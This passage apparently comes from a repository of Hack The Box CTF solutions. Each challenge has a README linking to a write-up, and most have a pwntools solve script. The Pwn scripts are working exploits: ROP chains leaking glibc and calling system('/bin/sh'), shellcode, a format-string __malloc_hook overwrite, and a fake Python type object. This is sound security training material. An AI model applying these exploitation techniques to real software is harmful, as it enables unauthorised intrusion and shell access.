'r', 16 | u'\u265D': 'b', 17 | u'\u265E': 'n', 18 | u'\u265F': 'p', 19 | } 20 | 21 | host, port = sys.argv[1].split(':') 22 | io = remote(host, port) 23 | 24 | 25 | def board_to_fen() -> str: 26 | fen = '' 27 | io.recvuntil(b'\x1b[') 28 | io.recvline() 29 | 30 | for _ in range(8): 31 | empty = 0 32 | 33 | for data in io.recvline().strip().split(b'\x1b[')[2:-2]: 34 | piece = data[data.index(b'm') + 1:] 35 | 36 | if piece == b' ': 37 | empty += 1 38 | elif piece.decode() in pieces: 39 | fen += str(empty or '') + pieces[piece.decode()] 40 | empty = 0 41 | 42 | fen += str(empty or '') + '/' 43 | 44 | io.recvline() 45 | return fen[:-1] + ' w - - 0 1' 46 | 47 | 48 | stockfish = process('./stockfish/stockfish-ubuntu-x86-64') 49 | stockfish.recv() 50 | 51 | 52 | def get_bestmove(fen: str): 53 | stockfish.sendline(f'position fen {fen}\ngo depth 20'.encode()) 54 | stockfish.recvuntil(b'bestmove ') 55 | return stockfish.recvline().decode().split(' ')[0] 56 | 57 | 58 | round_prog = io.progress('Round') 59 | 60 | for r in range(25): 61 | round_prog.status(f'{r + 1} / 25') 62 | fen = board_to_fen() 63 | bestmove = get_bestmove(fen) 64 | io.sendlineafter(b"What's the best move?\n", bestmove.encode()) 65 | io.recvline() 66 | 67 | round_prog.success('25 / 25') 68 | io.success(io.recvline().decode()) 69 | -------------------------------------------------------------------------------- /Challenges/Misc/Insane Bolt/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. Insane Bolt 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/insane-bolt 4 | -------------------------------------------------------------------------------- /Challenges/Misc/Insane Bolt/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import log, remote, sys 4 | 5 | movements = { 6 | (0, 1): 'R', 7 | (0, -1): 'L', 8 | (1, 0): 'D', 9 | } 10 | 11 | final_path = '' 12 | 13 | 14 | def dfs(root, maze, visited, path=''): 15 | global final_path 16 | 17 | if -1 in root or len(maze) <= root[0] or len(maze[0]) <= root[1]: 18 | return 19 | 20 | if maze[root[0]][root[1]] == '💎' and final_path == '': 21 | final_path = path 22 | 23 | visited.add(root) 24 | 25 | for movement in [(1, 0), (0, -1), (0, 1)]: 26 | node = (root[0] + movement[0], root[1] + movement[1]) 27 | 28 | if -1 in node or len(maze) <= node[0] or len(maze[0]) <= node[1]: 29 | continue 30 | 31 | if node not in visited and maze[node[0]][node[1]] != '☠️': 32 | dfs(node, maze, visited.copy(), path + movements[movement]) 33 | 34 | 35 | def main(): 36 | global final_path 37 | 38 | if len(sys.argv) != 2: 39 | log.warning(f'Usage: python3 {sys.argv[0]} ') 40 | exit(1) 41 | 42 | host, port = sys.argv[1].split(':') 43 | r = remote(host, int(port)) 44 | 45 | r.sendlineafter(b'> ', b'2') 46 | prog = log.progress('Round') 47 | 48 | for round in range(500): 49 | prog.status(str(round + 1)) 50 | r.recvline() 51 | 52 | maze = list(map( 53 | lambda s: s.split()[1:-1], 54 | r.recvuntil(b'\n\n').strip().decode().splitlines() 55 | ))[1:-1] 56 | 57 | j = maze[0].index('🤖') 58 | dfs((0, j), maze, {(0, j)}) 59 | 60 | r.sendlineafter(b'> ', final_path.encode()) 61 | final_path = '' 62 | r.recvline() 63 | 64 | prog.success(str(round + 1)) 65 | print(r.recv().decode()) 66 | r.close() 67 | 68 | 69 | if __name__ == '__main__': 70 | main() 71 | -------------------------------------------------------------------------------- /Challenges/Misc/M0rsarchive/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. M0rsarchive 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/m0rsarchive 4 | -------------------------------------------------------------------------------- /Challenges/Misc/Path of Survival/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. Path of Survival 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/path-of-survival -------------------------------------------------------------------------------- /Challenges/Misc/SecretRezipe/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. SecretRezipe 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/secretrezipe 4 | -------------------------------------------------------------------------------- /Challenges/Misc/SecretRezipe/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | from pwn import log, string, sys 6 | 7 | 8 | def main(): 9 | host = sys.argv[1] 10 | url = f'http://{host}/ingredients' 11 | flag = 'HTB{' 12 | 13 | flag_progress = log.progress('Flag') 14 | 15 | while '}' not in flag: 16 | flag_progress.status(flag) 17 | results = [] 18 | 19 | for c in string.printable: 20 | ingredients = 'Secret: ' + flag + c 21 | r = requests.post(url, json={'ingredients': ingredients}) 22 | content_length = len(r.content) 23 | results.append(content_length) 24 | 25 | min_value = min(results) 26 | index = results.index(min_value) 27 | 28 | flag += string.printable[index] 29 | 30 | flag_progress.success(flag) 31 | 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /Challenges/Misc/Type Exception/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. Type Exception 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/type-exception 4 | -------------------------------------------------------------------------------- /Challenges/Misc/Type Exception/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import log, process, remote, sys 4 | 5 | 6 | def get_process(): 7 | if len(sys.argv) == 1: 8 | return process(['python3', 'src/challenge.py']) 9 | 10 | host, port = sys.argv[1].split(':') 11 | return remote(host, int(port)) 12 | 13 | 14 | def main(): 15 | p = get_process() 16 | 17 | flag = [] 18 | flag_progress = log.progress('Flag') 19 | 20 | while ord('}') not in flag: 21 | for b in range(0x20, 0x7f): 22 | p.sendlineafter(b'Input : ', f'(1)if(({b})is(type(flag.split())(flag.encode()).pop({len(flag)})))else()'.encode()) 23 | p.recvline() 24 | 25 | if b'int' in p.recvline(): 26 | flag.append(b) 27 | flag_progress.status(''.join(map(chr, flag))) 28 | break 29 | 30 | flag_progress.success(''.join(map(chr, flag))) 31 | 32 | 33 | if __name__ == '__main__': 34 | main() -------------------------------------------------------------------------------- /Challenges/OSINT/Monstrosity/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. OSINT. Monstrosity 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/osint/monstrosity 4 | -------------------------------------------------------------------------------- /Challenges/OSINT/Monstrosity/analyze.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import matplotlib.pyplot as plt 4 | import numpy as np 5 | import requests 6 | 7 | from pwn import log, os, sys 8 | 9 | 10 | def main(): 11 | token = os.environ.get("BEARER_TOKEN") 12 | 13 | if len(sys.argv) != 2 or not token: 14 | print(f'[!] Usage: python3 {sys.argv[0]} ') 15 | print("[!] Set variable: `export BEARER_TOKEN=''`") 16 | exit(1) 17 | 18 | user_id = int(sys.argv[1]) 19 | data = [] 20 | 21 | r = requests.get(f'https://api.twitter.com/2/users/{user_id}/tweets', 22 | params={'tweet.fields': 'geo', 'max_results': 100}, 23 | headers={'Authorization': f'Bearer {token}'}, 24 | ) 25 | 26 | prog = log.progress('Tweets') 27 | 28 | while (next_token := r.json().get('meta', {}).get('next_token', '')): 29 | data += r.json()['data'] 30 | 31 | r = requests.get(f'https://api.twitter.com/2/users/{user_id}/tweets', 32 | params={'tweet.fields': 'geo', 'max_results': 100, 'pagination_token': next_token}, 33 | headers={'Authorization': f'Bearer {token}'}, 34 | ) 35 | 36 | prog.status(f'{len(data)} / 3000') 37 | 38 | prog.success(f'{len(data)} / 3000') 39 | 40 | data = filter(lambda d: d.get('geo', False), data) 41 | data = list(map(lambda d: d['geo']['coordinates']['coordinates'], data)) 42 | 43 | x_list = list(map(lambda d: d[0], data)) 44 | y_list = list(map(lambda d: d[1], data)) 45 | 46 | log.success('Coordinates:\n') 47 | print('\n'.join(map(lambda d: str(d)[1:-1], data))) 48 | 49 | plt.xlim(-200, 200) 50 | plt.ylim(-200, 200) 51 | plt.grid() 52 | 53 | plt.plot(x_list, y_list, marker='o', color='r', ls='') 54 | plt.show() 55 | 56 | 57 | if __name__ == "__main__": 58 | main() 59 | -------------------------------------------------------------------------------- /Challenges/Pwn/Ancient Interface/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Ancient Interface 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/ancient-interface 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Ancient Interface/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, ELF, p64, remote, ROP, sleep, sys, u64 4 | 5 | 6 | context.log_level = 'DEBUG' 7 | context.binary = elf = ELF('challenge/ancient_interface') 8 | glibc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) 9 | 10 | PROMPT = b'user@host$ ' 11 | 12 | 13 | def get_process(): 14 | if len(sys.argv) == 1: 15 | return elf.process() 16 | 17 | host, port = sys.argv[1].split(':') 18 | return remote(host, port) 19 | 20 | 21 | def send_payload(payload: bytes): 22 | for _ in range(48): 23 | p.sendlineafter(PROMPT, b'alarm 2') 24 | 25 | p.sendlineafter(PROMPT, b'read 8 q') 26 | sleep(3) 27 | 28 | p.sendline(payload.ljust(8 + 48, b'A')) 29 | 30 | 31 | def main(): 32 | rop = ROP(elf) 33 | 34 | payload = b'A' * 8 35 | payload += p64(rop.rdi.address) 36 | payload += p64(elf.got.printf) 37 | payload += p64(elf.plt.puts) 38 | payload += p64(0x401290) 39 | 40 | send_payload(payload) 41 | 42 | printf_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) 43 | p.info(f'Leaked printf() address: {hex(printf_addr)}') 44 | 45 | glibc.address = printf_addr - glibc.sym.printf 46 | p.success(f'Glibc base address: {hex(glibc.address)}') 47 | 48 | payload = b'A' * 8 49 | payload += p64(rop.rdi.address) 50 | payload += p64(next(glibc.search(b'/bin/sh'))) 51 | payload += p64(rop.ret.address) 52 | payload += p64(glibc.sym.system) 53 | 54 | send_payload(payload) 55 | 56 | p.interactive() 57 | 58 | 59 | if __name__ == '__main__': 60 | p = get_process() 61 | main() 62 | -------------------------------------------------------------------------------- /Challenges/Pwn/Antidote/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Antidote 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/antidote 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Antidote/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | context.binary = elf = ELF('antidote') 6 | glibc = ELF('libc.so.6', checksec=False) 7 | 8 | 9 | def get_process(): 10 | global glibc 11 | 12 | if len(sys.argv) == 1: 13 | glibc = ELF('/usr/arm-linux-gnueabi/lib/libc.so.6', checksec=False) 14 | return elf.process() 15 | 16 | host, port = sys.argv[1].split(':') 17 | return remote(host, int(port)) 18 | 19 | 20 | def main(): 21 | p = get_process() 22 | 23 | pop_r3_pc = 0x83cc 24 | pop_r4_r5_r6_r7_r8_sb_sl_pc = 0x8628 25 | mov_r0_sl_mov_r1_r2_mov_r2_r7_blx_r3 = 0x85f4 26 | 27 | offset = 216 28 | junk = b'A' * offset 29 | 30 | payload = junk 31 | payload += p32(0xfffef85c) 32 | payload += p32(pop_r3_pc) 33 | payload += p32(elf.got.write) 34 | payload += p32(elf.sym.main + 76) 35 | 36 | p.recv() 37 | p.send(payload) 38 | 39 | write_addr = u32(p.recv(4)) 40 | log.info(f'Leaked write() address: {hex(write_addr)}') 41 | 42 | glibc.address = write_addr - glibc.sym.write 43 | log.success(f'Glibc base address: {hex(glibc.address)}') 44 | 45 | payload = junk 46 | payload += p32(0xfffef85c) 47 | payload += p32(pop_r4_r5_r6_r7_r8_sb_sl_pc) 48 | payload += p32(0) * 6 49 | payload += p32(next(glibc.search(b'/bin/sh'))) 50 | payload += p32(pop_r3_pc) 51 | payload += p32(glibc.sym.system) 52 | payload += p32(mov_r0_sl_mov_r1_r2_mov_r2_r7_blx_r3) 53 | 54 | p.recv() 55 | p.send(payload) 56 | 57 | p.interactive() 58 | 59 | 60 | if __name__ == '__main__': 61 | main() 62 | -------------------------------------------------------------------------------- /Challenges/Pwn/Auth-or-out/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Auth-or-out 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Bat Computer/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Bat Computer 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/bat-computer 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Bat Computer/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, p64, remote, sys 4 | 5 | context.binary = 'batcomputer' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendlineafter(b'> ', b'1') 20 | p.recvuntil(b'It was very hard, but Alfred managed to locate him: ') 21 | command_addr = int(p.recvline().decode(), 16) 22 | 23 | offset = 84 24 | 25 | shellcode = b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05' 26 | 27 | payload = shellcode 28 | payload += b'A' * (offset - len(payload)) 29 | payload += p64(command_addr) 30 | 31 | p.sendlineafter(b'> ', b'2') 32 | p.sendlineafter(b"Ok. Let's do this. Enter the password: ", b'b4tp@$$w0rd!') 33 | p.sendlineafter(b'Enter the navigation commands: ', payload) 34 | 35 | p.sendlineafter(b'> ', b'3') 36 | p.recv() 37 | 38 | p.interactive() 39 | 40 | 41 | if __name__ == '__main__': 42 | main() 43 | -------------------------------------------------------------------------------- /Challenges/Pwn/Blacksmith/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Blacksmith 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/blacksmith 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Blacksmith/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import asm, context, log, remote, sys, u64 4 | 5 | context.binary = 'blacksmith' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | p.sendlineafter(b'> ', b'1') 19 | p.sendlineafter(b'> ', b'2') 20 | 21 | shellcode = asm(f''' 22 | xor rsi, rsi 23 | push rsi 24 | mov rdi, {hex(u64(b'flag.txt'))} 25 | push rdi 26 | mov rdi, rsp 27 | mov al, 2 28 | syscall 29 | 30 | mov rdx, 100 31 | mov rsi, rsp 32 | mov edi, eax 33 | xor al, al 34 | syscall 35 | 36 | mov al, 1 37 | mov rdi, rax 38 | syscall 39 | 40 | mov al, 0x3c 41 | syscall 42 | ''') 43 | 44 | p.sendafter(b'> ', shellcode) 45 | log.success(p.recvuntil(b'}').decode()) 46 | p.close() 47 | 48 | 49 | if __name__ == '__main__': 50 | main() 51 | -------------------------------------------------------------------------------- /Challenges/Pwn/Bon-nie-appetit/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Bon-nie-appetit 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/CRSid/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. CRSid 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/crsid 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Control Room/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Control Room 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/control-room 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Dead or Alive/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Dead or Alive 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/dead-or-alive 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Dragon Army/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Dragon Army 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Dream Diary: Chapter 3/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Dream Diary: Chapter 3 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/dream-diary-chapter-3 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Entity/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Entity 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/entity 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Entity/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, p64, remote, sys 4 | 5 | context.binary = 'entity' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendlineafter(b'>> ', b'T') 20 | p.sendlineafter(b'>> ', b'S') 21 | p.sendlineafter(b'>> ', p64(13371337)) 22 | p.sendlineafter(b'>> ', b'C') 23 | print(p.recvline().decode()) 24 | p.close() 25 | 26 | 27 | if __name__ == '__main__': 28 | main() 29 | -------------------------------------------------------------------------------- /Challenges/Pwn/Fake Snake/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Fake Snake 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/fake-snake 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Fake Snake/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import context, ELF, p64, process, remote, sys, u64 4 | 5 | context.binary = python = ELF('libpython3.11.so.1.0') 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return process(['./python3.11', 'challenge/server.py']) 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, port) 14 | 15 | 16 | def add(p, inp: bytes) -> int: 17 | p.sendlineafter(b'Selection:', b'0') 18 | p.sendlineafter(b'To Add:', inp) 19 | return int(p.recvline().decode()) 20 | 21 | 22 | def remove(p, addr: int): 23 | p.sendlineafter(b'Selection:', b'1') 24 | p.sendlineafter(b'To Remove:', str(addr).encode()) 25 | 26 | 27 | def load(p, addr: int, do_recv: bool = True) -> bytes: 28 | p.sendlineafter(b'Selection:', b'2') 29 | p.sendlineafter(b'To Load:', str(addr).encode()) 30 | return p.recvline() if do_recv else b'' 31 | 32 | 33 | def sp64(num: int) -> bytes: 34 | return ''.join(chr(b) for b in p64(num)).encode() 35 | 36 | 37 | def main(): 38 | p = get_process() 39 | 40 | p.recvuntil(b'Zero: ') 41 | zero_addr = int(p.recvline()) 42 | p.info(f'id(0) = {hex(zero_addr)}') 43 | 44 | python.address = zero_addr - 5390984 45 | p.success(f'Python base address: {hex(python.address)}') 46 | 47 | type_obj = sp64(0xacdc1337) + b'X' * 0x48 + sp64(python.plt.system) * 100 48 | 49 | fake_type_obj_addr = add(p, type_obj) 50 | fake_obj_addr = add(p, sp64(u64(b'/bin/sh\0') - 2) + sp64(fake_type_obj_addr + 0x48)) 51 | 52 | load(p, fake_obj_addr + 0x48, do_recv=False) 53 | 54 | p.interactive() 55 | 56 | 57 | if __name__ == '__main__': 58 | main() 59 | -------------------------------------------------------------------------------- /Challenges/Pwn/FileStorage/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. FileStorage 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/filestorage 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Finale/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Pumpking 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/pumpking 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Finale/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, ELF, p64, remote, ROP, sys 4 | 5 | context.binary = elf = ELF('finale_patched') 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return elf.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendlineafter(b'In order to proceed, tell us the secret phrase: ', b's34s0nf1n4l3b00') 20 | 21 | p.recvuntil(b'Season finale is here! Take this souvenir with you for good luck: [') 22 | addr = int(p.recvuntil(b']').decode()[:-1], 16) 23 | 24 | rop = ROP(elf) 25 | pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0] 26 | pop_rsi_ret = rop.find_gadget(['pop rsi', 'ret'])[0] 27 | 28 | fd = 3 29 | offset = 72 30 | 31 | payload = b'flag.txt' 32 | payload += b'\0' * (offset - len(payload)) 33 | 34 | payload += p64(pop_rdi_ret) 35 | payload += p64(addr) 36 | payload += p64(pop_rsi_ret) 37 | payload += p64(0) 38 | payload += p64(elf.plt.open) 39 | 40 | payload += p64(elf.sym.finale) 41 | 42 | p.sendlineafter(b'Now, tell us a wish for next year: ', payload) 43 | 44 | payload = b'A' * offset 45 | 46 | payload += p64(pop_rdi_ret) 47 | payload += p64(fd) 48 | payload += p64(pop_rsi_ret) 49 | payload += p64(addr) 50 | payload += p64(elf.plt.read) 51 | 52 | payload += p64(pop_rdi_ret) 53 | payload += p64(1) 54 | payload += p64(pop_rsi_ret) 55 | payload += p64(addr) 56 | payload += p64(elf.plt.write) 57 | 58 | p.sendlineafter(b'Now, tell us a wish for next year: ', payload) 59 | p.recvline() 60 | p.recvline() 61 | p.recvline() 62 | print(p.recvline()) 63 | p.close() 64 | 65 | 66 | if __name__ == '__main__': 67 | main() 68 | -------------------------------------------------------------------------------- /Challenges/Pwn/Fleet Management/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Fleet Management 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/fleet-management 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Fleet Management/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env pyhton3 2 | 3 | from pwn import asm, context, log, remote, sys, u64 4 | 5 | context.binary = 'fleet_management' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | shellcode = asm(f''' 20 | xor rdx, rdx 21 | push rdx 22 | mov rsi, {u64(b'flag.txt')} 23 | push rsi 24 | push rsp 25 | pop rsi 26 | xor rdi, rdi 27 | sub rdi, 100 28 | mov rax, 0x101 29 | syscall 30 | 31 | mov rcx, 0x64 32 | mov esi, eax 33 | xor rdi, rdi 34 | inc edi 35 | mov al, 0x28 36 | syscall 37 | 38 | mov al, 0x3c 39 | syscall 40 | ''') 41 | 42 | log.info(f'Shellcode length: {hex(len(shellcode))}') 43 | 44 | p.sendlineafter(b'[*] What do you want to do? ', b'9') 45 | p.send(shellcode) 46 | log.success(p.recv().decode()) 47 | p.close() 48 | 49 | 50 | if __name__ == '__main__': 51 | main() 52 | -------------------------------------------------------------------------------- /Challenges/Pwn/Format/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Format 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/format 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Format/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, ELF, fmtstr_payload, log, p64, remote, sys, u64 4 | 5 | context.binary = elf = ELF('format_patched') 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return elf.process() 11 | 12 | ip, port = sys.argv[1].split(':') 13 | return remote(ip, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendline(b'%21$lx') 20 | _IO_2_1_stderr__addr = int(p.recvline().decode(), 16) 21 | log.info(f'Leaked _IO_2_1_stderr_ address: {hex(_IO_2_1_stderr__addr)}') 22 | 23 | p.sendline(b'%49$p') 24 | main_addr = int(p.recvline().decode(), 16) 25 | log.info(f'Leaked main() address: {hex(main_addr)}') 26 | 27 | _IO_2_1_stderr__offset = 0x3ec680 # 0x1ed5c0 28 | glibc_address = _IO_2_1_stderr__addr - _IO_2_1_stderr__offset 29 | log.success(f'Glibc base address: {hex(glibc_address)}') 30 | 31 | main_offset = 0x1284 32 | elf.address = main_addr - main_offset 33 | log.success(f'ELF base address: {hex(elf.address)}') 34 | 35 | p.sendline(b'%7$sAAAA' + p64(elf.got.fgets)) 36 | fgets_addr = u64(p.recv().split(b'AAAA')[0].ljust(8, b'\0')) 37 | log.info(f'Leaked fgets() address: {hex(fgets_addr)}') 38 | 39 | one_gadget_shell_offset = 0x4f322 40 | __malloc_hook_offset = 0x3ebc30 41 | 42 | one_gadget_shell_addr = glibc_address + one_gadget_shell_offset 43 | __malloc_hook_addr = glibc_address + __malloc_hook_offset 44 | 45 | p.sendline(fmtstr_payload(6, {__malloc_hook_addr: one_gadget_shell_addr})) 46 | p.recv() 47 | 48 | p.sendline(b'%10000000c') 49 | p.interactive() 50 | 51 | 52 | if __name__ == '__main__': 53 | main() 54 | -------------------------------------------------------------------------------- /Challenges/Pwn/Great Old Talisman/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Great Old Talisman 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/great-old-talisman 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Great Old Talisman/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, p16, remote, sys 4 | 5 | context.binary = 'great_old_talisman' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, port) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendlineafter(b'>> ', b'-4') 20 | p.sendafter(b'Spell: ', p16(context.binary.sym.read_flag & 0xffff)) 21 | p.success(p.recv().decode()) 22 | 23 | 24 | if __name__ == '__main__': 25 | main() 26 | -------------------------------------------------------------------------------- /Challenges/Pwn/HTB Console/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. HTB Console 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/htb-console 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/HTB Console/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, p64, remote, sys 4 | 5 | context.binary = 'htb-console' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | pop_rdi_ret_addr = 0x401473 20 | bin_sh_addr = 0x4040b0 21 | system_call_addr = 0x401381 22 | 23 | offset = 24 24 | junk = b'A' * offset 25 | 26 | payload = junk 27 | payload += p64(pop_rdi_ret_addr) 28 | payload += p64(bin_sh_addr) 29 | payload += p64(system_call_addr) 30 | 31 | p.sendlineafter(b'>> ', b'hof') 32 | p.sendlineafter(b'Enter your name: ', b'/bin/sh') 33 | p.sendlineafter(b'>> ', b'flag') 34 | p.sendlineafter(b'Enter flag: ', payload) 35 | 36 | p.recv() 37 | p.interactive() 38 | 39 | 40 | if __name__ == '__main__': 41 | main() 42 | -------------------------------------------------------------------------------- /Challenges/Pwn/Hellhound/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Hellhound 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/hellhound 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Hellhound/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | context.binary = 'hellhound' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, port) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendlineafter(b'>> ', b'1') 20 | p.recvuntil(b': [') 21 | code_storage_addr = int(p.recvuntil(b']', drop=True).decode()) 22 | log.info(f'code_storage address: {hex(code_storage_addr)}') 23 | 